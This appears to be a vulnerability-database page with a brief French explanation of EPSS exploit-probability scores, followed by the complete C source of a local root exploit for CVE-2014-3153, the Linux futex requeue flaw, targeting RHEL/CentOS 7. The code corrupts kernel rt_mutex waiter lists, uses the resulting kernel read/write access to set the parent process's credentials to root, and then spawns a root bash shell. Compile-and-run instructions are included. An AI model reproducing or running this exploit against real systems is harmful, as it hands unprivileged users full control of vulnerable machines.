EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
/*
* CVE-2014-3153 exploit for RHEL/CentOS 7.0.1406
* By Kaiqu Chen (
[email protected] )
* Based on libfutex and the expoilt for Android by GeoHot.
*
* Usage:
* $gcc exploit.c -o exploit -lpthread
* $./exploit
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdbool.h>
#include <pthread.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <errno.h>
#include <linux/futex.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#define ARRAY_SIZE(a) (sizeof (a) / sizeof (*(a)))
#define FUTEX_WAIT_REQUEUE_PI 11
#define FUTEX_CMP_REQUEUE_PI 12
#define USER_PRIO_BASE 120
#define LOCAL_PORT 5551
#define SIGNAL_HACK_KERNEL 12
#define SIGNAL_THREAD_EXIT 10
#define OFFSET_PID 0x4A4
#define OFFSET_REAL_PARENT 0x4B8
#define OFFSET_CRED 0x668
#define SIZEOF_CRED 160
#define SIZEOF_TASK_STRUCT 2912
#define OFFSET_ADDR_LIMIT 0x20
#define PRIO_LIST_OFFSET 8
#define NODE_LIST_OFFSET (PRIO_LIST_OFFSET + sizeof(struct list_head))
#define PRIO_LIST_TO_WAITER(list) (((void *)(list)) - PRIO_LIST_OFFSET)
#define WAITER_TO_PRIO_LIST(waiter) (((void *)(waiter)) + PRIO_LIST_OFFSET)
#define NODE_LIST_TO_WAITER(list) (((void *)(list)) - NODE_LIST_OFFSET)
#define WAITER_TO_NODE_LIST(waiter) (((void *)(waiter)) + NODE_LIST_OFFSET)
#define MUTEX_TO_PRIO_LIST(mutex) (((void *)(mutex)) + sizeof(long))
#define MUTEX_TO_NODE_LIST(mutex) (((void *)(mutex)) + sizeof(long) + sizeof(struct list_head))
////////////////////////////////////////////////////////////////////
struct task_struct;
struct thread_info {
struct task_struct *task;
void *exec_domain;
int flags;
int status;
int cpu;
int preempt_count;
void *addr_limit;
};
struct list_head {
struct list_head *next;
struct list_head *prev;
};
struct plist_head {
struct list_head node_list;
};
struct plist_node {
int prio;
struct list_head prio_list;
struct list_head node_list;
};
struct rt_mutex {
unsigned long wait_lock;
struct plist_head wait_list;
struct task_struct *owner;
};
struct rt_mutex_waiter {
struct plist_node list_entry;
struct plist_node pi_list_entry;
struct task_struct *task;
struct rt_mutex *lock;
};
struct mmsghdr {
struct msghdr msg_hdr;
unsigned int msg_len;
};
struct cred {
int usage;
int uid; /* real UID of the task */
int gid; /* real GID of the task */
int suid; /* saved UID of the task */
int sgid; /* saved GID of the task */
int euid; /* effective UID of the task */
int egid; /* effective GID of the task */
int fsuid; /* UID for VFS ops */
int fsgid; /* GID for VFS ops */
};
////////////////////////////////////////////////////////////////////
static int swag = 0;
static int swag2 = 0;
static int main_pid;
static pid_t waiter_thread_tid;
static pthread_mutex_t hacked_lock;
static pthread_cond_t hacked;
static pthread_mutex_t done_lock;
static pthread_cond_t done;
static pthread_mutex_t is_thread_desched_lock;
static pthread_cond_t is_thread_desched;
static volatile int do_socket_tid_read = 0;
static volatile int did_socket_tid_read = 0;
static volatile int do_dm_tid_read = 0;
static volatile int did_dm_tid_read = 0;
static pid_t last_tid = 0;
static volatile int_sync_time_out = 0;
struct thread_info thinfo;
char task_struct_buf[SIZEOF_TASK_STRUCT];
struct cred cred_buf;
struct thread_info *hack_thread_stack = NULL;
pthread_t thread_client_to_setup_rt_waiter;
int listenfd;
int sockfd;
int clientfd;
////////////////////////////////////////////////////////////////
int gettid()
{
return syscall(__NR_gettid);
}
ssize_t read_pipe(void *kbuf, void *ubuf, size_t count) {
int pipefd[2];
ssize_t len;
pipe(pipefd);
len = write(pipefd[1], kbuf, count);
if (len != count) {
printf("Thread %d failed in reading @ %p : %d %d\n", gettid(), kbuf, (int)len, errno);
while(1) { sleep(10); }
}
read(pipefd[0], ubuf, count);
close(pipefd[0]);
close(pipefd[1]);
return len;
}
ssize_t write_pipe(void *kbuf, void *ubuf, size_t count) {
int pipefd[2];
ssize_t len;
pipe(pipefd);
write(pipefd[1], ubuf, count);
len = read(pipefd[0], kbuf, count);
if (len != count) {
printf("Thread %d failed in writing @ %p : %d %d\n", gettid(), kbuf, (int)len, errno);
while(1) { sleep(10); }
}
close(pipefd[0]);
close(pipefd[1]);
return len;
}
int pthread_cancel_immediately(pthread_t thid)
{
pthread_kill(thid, SIGNAL_THREAD_EXIT);
pthread_join(thid, NULL);
return 0;
}
void set_addr_limit(void *sp)
{
long newlimit = -1;
write_pipe(sp + OFFSET_ADDR_LIMIT, (void *)&newlimit, sizeof(long));
}
void set_cred(struct cred *kcred)
{
struct cred cred_buf;
int len;
len = read_pipe(kcred, &cred_buf, sizeof(cred_buf));
cred_buf.uid = cred_buf.euid = cred_buf.suid = cred_buf.fsuid = 0;
cred_buf.gid = cred_buf.egid = cred_buf.sgid = cred_buf.fsgid = 0;
len = write_pipe(kcred, &cred_buf, sizeof(cred_buf));
}
struct rt_mutex_waiter *pwaiter11;
void set_parent_cred(void *sp, int parent_tid)
{
int len;
int tid;
struct task_struct *pparent;
struct cred *pcred;
set_addr_limit(sp);
len = read_pipe(sp, &thinfo, sizeof(thinfo));
if(len != sizeof(thinfo)) {
printf("Read %p error %d\n", sp, len);
}
void *ptask = thinfo.task;
len = read_pipe(ptask, task_struct_buf, SIZEOF_TASK_STRUCT);
tid = *(int *)(task_struct_buf + OFFSET_PID);
while(tid != 0 && tid != parent_tid) {
pparent = *(struct task_struct **)(task_struct_buf + OFFSET_REAL_PARENT);
len = read_pipe(pparent, task_struct_buf, SIZEOF_TASK_STRUCT);
tid = *(int *)(task_struct_buf + OFFSET_PID);
}
if(tid == parent_tid) {
pcred = *(struct cred **)(task_struct_buf + OFFSET_CRED);
set_cred(pcred);
} else
printf("Pid %d not found\n", parent_tid);
return;
}
static int read_voluntary_ctxt_switches(pid_t pid)
{
char filename[256];
FILE *fp;
int vcscnt = -1;
sprintf(filename, "/proc/self/task/%d/status", pid);
fp = fopen(filename, "rb");
if (fp) {
char filebuf[4096];
char *pdest;
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
vcscnt = atoi(pdest + 0x19);
fclose(fp);
}
return vcscnt;
}
static void sync_timeout_task(int sig)
{
int_sync_time_out = 1;
}
static int sync_with_child_getchar(pid_t pid, int volatile *do_request, int volatile *did_request)
{
while (*do_request == 0) { }
printf("Press RETURN after one second...");
*did_request = 1;
getchar();
return 0;
}
static int sync_with_child(pid_t pid, int volatile *do_request, int volatile *did_request)
{
struct sigaction act;
int vcscnt;
int_sync_time_out = 0;
act.sa_handler = sync_timeout_task;
sigemptyset(&act.sa_mask);
act.sa_flags = 0;
act.sa_restorer = NULL;
sigaction(SIGALRM, &act, NULL);
alarm(3);
while (*do_request == 0) {
if (int_sync_time_out)
return -1;
}
alarm(0);
vcscnt = read_voluntary_ctxt_switches(pid);
*did_request = 1;
while (read_voluntary_ctxt_switches(pid) != vcscnt + 1) {
usleep(10);
}
return 0;
}
static void sync_with_parent(int volatile *do_request, int volatile *did_request)
{
*do_request = 1;
while (*did_request == 0) { }
}
void fix_rt_mutex_waiter_list(struct rt_mutex *pmutex)
{
struct rt_mutex_waiter *pwaiter6, *pwaiter7;
struct rt_mutex_waiter waiter6, waiter7;
struct rt_mutex mutex;
if(!pmutex)
return;
read_pipe(pmutex, &mutex, sizeof(mutex));
pwaiter6 = NODE_LIST_TO_WAITER(mutex.wait_list.node_list.next);
if(!pwaiter6)
return;
read_pipe(pwaiter6, &waiter6, sizeof(waiter6));
pwaiter7 = NODE_LIST_TO_WAITER(waiter6.list_entry.node_list.next);
if(!pwaiter7)
return;
read_pipe(pwaiter7, &waiter7, sizeof(waiter7));
waiter6.list_entry.prio_list.prev = waiter6.list_entry.prio_list.next;
waiter7.list_entry.prio_list.next = waiter7.list_entry.prio_list.prev;
mutex.wait_list.node_list.prev = waiter6.list_entry.node_list.next;
waiter7.list_entry.node_list.next = waiter6.list_entry.node_list.prev;
write_pipe(pmutex, &mutex, sizeof(mutex));
write_pipe(pwaiter6, &waiter6, sizeof(waiter6));
write_pipe(pwaiter7, &waiter7, sizeof(waiter7));
}
static void void_handler(int signum)
{
pthread_exit(0);
}
static void kernel_hack_task(int signum)
{
struct rt_mutex *prt_mutex, rt_mutex;
struct rt_mutex_waiter rt_waiter11;
int tid = syscall(__NR_gettid);
int pid = getpid();
set_parent_cred(hack_thread_stack, main_pid);
read_pipe(pwaiter11, (void *)&rt_waiter11, sizeof(rt_waiter11));
prt_mutex = rt_waiter11.lock;
read_pipe(prt_mutex, (void *)&rt_mutex, sizeof(rt_mutex));
void *ptask_struct = rt_mutex.owner;
ptask_struct = (void *)((long)ptask_struct & ~ 0xF);
int len = read_pipe(ptask_struct, task_struct_buf, SIZEOF_TASK_STRUCT);
int *ppid = (int *)(task_struct_buf + OFFSET_PID);
void **pstack = (void **)&task_struct_buf[8];
void *owner_sp = *pstack;
set_addr_limit(owner_sp);
pthread_mutex_lock(&hacked_lock);
pthread_cond_signal(&hacked);
pthread_mutex_unlock(&hacked_lock);
}
static void *call_futex_lock_pi_with_priority(void *arg)
{
int prio;
struct sigaction act;
int ret;
prio = (long)arg;
last_tid = syscall(__NR_gettid);
pthread_mutex_lock(&is_thread_desched_lock);
pthread_cond_signal(&is_thread_desched);
act.sa_handler = void_handler;
sigemptyset(&act.sa_mask);
act.sa_flags = 0;
act.sa_restorer = NULL;
sigaction(SIGNAL_THREAD_EXIT, &act, NULL);
act.sa_handler = kernel_hack_task;
sigemptyset(&act.sa_mask);
act.sa_flags = 0;
act.sa_restorer = NULL;
sigaction(SIGNAL_HACK_KERNEL, &act, NULL);
setpriority(PRIO_PROCESS, 0, prio);
pthread_mutex_unlock(&is_thread_desched_lock);
sync_with_parent(&do_dm_tid_read, &did_dm_tid_read);
ret = syscall(__NR_futex, &swag2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
return NULL;
}
static pthread_t create_thread_do_futex_lock_pi_with_priority(int prio)
{
pthread_t th4;
pid_t pid;
do_dm_tid_read = 0;
did_dm_tid_read = 0;
pthread_mutex_lock(&is_thread_desched_lock);
pthread_create(&th4, 0, call_futex_lock_pi_with_priority, (void *)(long)prio);
pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock);
pid = last_tid;
sync_with_child(pid, &do_dm_tid_read, &did_dm_tid_read);
pthread_mutex_unlock(&is_thread_desched_lock);
return th4;
}
static int server_for_setup_rt_waiter(void)
{
int sockfd;
int yes = 1;
struct sockaddr_in addr = {0};
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes));
addr.sin_family = AF_INET;
addr.sin_port = htons(LOCAL_PORT);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
bind(sockfd, (struct sockaddr *)&addr, sizeof(addr));
listen(sockfd, 1);
listenfd = sockfd;
return accept(sockfd, NULL, NULL);
}
static int connect_server_socket(void)
{
int sockfd;
struct sockaddr_in addr = {0};
int ret;
int sock_buf_size;
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
if (sockfd < 0) {
printf("socket failed\n");
usleep(10);
} else {
addr.sin_family = AF_INET;
addr.sin_port = htons(LOCAL_PORT);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
}
while (connect(sockfd, (struct sockaddr *)&addr, 16) < 0) {
usleep(10);
}
sock_buf_size = 1;
setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));
return sockfd;
}
unsigned long iov_base0, iov_basex;
size_t iov_len0, iov_lenx;
static void *client_to_setup_rt_waiter(void *waiter_plist)
{
int sockfd;
struct mmsghdr msgvec[1];
struct iovec msg_iov[8];
unsigned long databuf[0x20];
int i;
int ret;
struct sigaction act;
act.sa_handler = void_handler;
sigemptyset(&act.sa_mask);
act.sa_flags = 0;
act.sa_restorer = NULL;
sigaction(SIGNAL_THREAD_EXIT, &act, NULL);
waiter_thread_tid = syscall(__NR_gettid);
setpriority(PRIO_PROCESS, 0, 12);
sockfd = connect_server_socket();
clientfd = sockfd;
for (i = 0; i < ARRAY_SIZE(databuf); i++) {
databuf[i] = (unsigned long)waiter_plist;
}
for (i = 0; i < ARRAY_SIZE(msg_iov); i++) {
msg_iov[i].iov_base = waiter_plist;
msg_iov[i].iov_len = (long)waiter_plist;
}
msg_iov[1].iov_base = (void *)iov_base0;
msgvec[0].msg_hdr.msg_name = databuf;
msgvec[0].msg_hdr.msg_namelen = sizeof databuf;
msgvec[0].msg_hdr.msg_iov = msg_iov;
msgvec[0].msg_hdr.msg_iovlen = ARRAY_SIZE(msg_iov);
msgvec[0].msg_hdr.msg_control = databuf;
msgvec[0].msg_hdr.msg_controllen = ARRAY_SIZE(databuf);
msgvec[0].msg_hdr.msg_flags = 0;
msgvec[0].msg_len = 0;
syscall(__NR_futex, &swag, FUTEX_WAIT_REQUEUE_PI, 0, 0, &swag2, 0);
sync_with_parent(&do_socket_tid_read, &did_socket_tid_read);
ret = 0;
while (1) {
ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0);
if (ret <= 0) {
break;
} else
printf("sendmmsg ret %d\n", ret);
}
return NULL;
}
static void plist_set_next(struct list_head *node, struct list_head *head)
{
node->next = head;
head->prev = node;
node->prev = head;
head->next = node;
}
static void setup_waiter_params(struct rt_mutex_waiter *rt_waiters)
{
rt_waiters[0].list_entry.prio = USER_PRIO_BASE + 9;
rt_waiters[1].list_entry.prio = USER_PRIO_BASE + 13;
plist_set_next(&rt_waiters[0].list_entry.prio_list, &rt_waiters[1].list_entry.prio_list);
plist_set_next(&rt_waiters[0].list_entry.node_list, &rt_waiters[1].list_entry.node_list);
}
static bool do_exploit(void *waiter_plist)
{
void *magicval, *magicval2;
struct rt_mutex_waiter *rt_waiters;
pid_t pid;
pid_t pid6, pid7, pid12, pid11;
rt_waiters = PRIO_LIST_TO_WAITER(waiter_plist);
syscall(__NR_futex, &swag2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
while (syscall(__NR_futex, &swag, FUTEX_CMP_REQUEUE_PI, 1, 0, &swag2, swag) != 1) {
usleep(10);
}
pthread_t th6 = create_thread_do_futex_lock_pi_with_priority(6);
pthread_t th7 = create_thread_do_futex_lock_pi_with_priority(7);
swag2 = 0;
do_socket_tid_read = 0;
did_socket_tid_read = 0;
syscall(__NR_futex, &swag2, FUTEX_CMP_REQUEUE_PI, 1, 0, &swag2, swag2);
if (sync_with_child_getchar(waiter_thread_tid, &do_socket_tid_read, &did_socket_tid_read) < 0) {
return false;
}
setup_waiter_params(rt_waiters);
magicval = rt_waiters[0].list_entry.prio_list.next;
printf("Checking whether exploitable..");
pthread_t th11 = create_thread_do_futex_lock_pi_with_priority(11);
if (rt_waiters[0].list_entry.prio_list.next == magicval) {
printf("failed\n");
return false;
}
printf("OK\nSeaching good magic...\n");
magicval = rt_waiters[0].list_entry.prio_list.next;
pthread_cancel_immediately(th11);
pthread_t th11_1, th11_2;
while(1) {
setup_waiter_params(rt_waiters);
th11_1 = create_thread_do_futex_lock_pi_with_priority(11);
magicval = rt_waiters[0].list_entry.prio_list.next;
hack_thread_stack = (struct thread_info *)((unsigned long)magicval & 0xffffffffffffe000);
rt_waiters[1].list_entry.node_list.prev = (void *)&hack_thread_stack->addr_limit;
th11_2 = create_thread_do_futex_lock_pi_with_priority(11);
magicval2 = rt_waiters[1].list_entry.node_list.prev;
printf("magic1=%p magic2=%p\n", magicval, magicval2);
if(magicval < magicval2) {
printf("Good magic found\nHacking...\n");
break;
} else {
pthread_cancel_immediately(th11_1);
pthread_cancel_immediately(th11_2);
}
}
pwaiter11 = NODE_LIST_TO_WAITER(magicval2);
pthread_mutex_lock(&hacked_lock);
pthread_kill(th11_1, SIGNAL_HACK_KERNEL);
pthread_cond_wait(&hacked, &hacked_lock);
pthread_mutex_unlock(&hacked_lock);
close(listenfd);
struct rt_mutex_waiter waiter11;
struct rt_mutex *pmutex;
int len = read_pipe(pwaiter11, &waiter11, sizeof(waiter11));
if(len != sizeof(waiter11)) {
pmutex = NULL;
} else {
pmutex = waiter11.lock;
}
fix_rt_mutex_waiter_list(pmutex);
pthread_cancel_immediately(th11_1);
pthread_cancel_immediately(th11_2);
pthread_cancel_immediately(th7);
pthread_cancel_immediately(th6);
close(clientfd);
pthread_cancel_immediately(thread_client_to_setup_rt_waiter);
exit(0);
}
#define MMAP_ADDR_BASE 0x0c000000
#define MMAP_LEN 0x0c001000
int main(int argc, char *argv[])
{
unsigned long mapped_address;
void *waiter_plist;
printf("CVE-2014-3153 exploit by Chen Kaiqu(
[email protected])\n");
main_pid = gettid();
if(fork() == 0) {
iov_base0 = (unsigned long)mmap((void *)0xb0000000, 0x10000, PROT_READ | PROT_WRITE | PROT_EXEC, /*MAP_POPULATE |*/ MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
if (iov_base0 < 0xb0000000) {
printf("mmap failed?\n");
return 1;
}
iov_len0 = 0x10000;
iov_basex = (unsigned long)mmap((void *)MMAP_ADDR_BASE, MMAP_LEN, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
if (iov_basex < MMAP_ADDR_BASE) {
printf("mmap failed?\n");
return 1;
}
iov_lenx = MMAP_LEN;
waiter_plist = (void *)iov_basex + 0x400;
pthread_create(&thread_client_to_setup_rt_waiter, NULL, client_to_setup_rt_waiter, waiter_plist);
sockfd = server_for_setup_rt_waiter();
if (sockfd < 0) {
printf("Server failed\n");
return 1;
}
if (!do_exploit(waiter_plist)) {
return 1;
}
return 0;
}
while(getuid())
usleep(100);
execl("/bin/bash", "bin/bash", NULL);
return 0;
}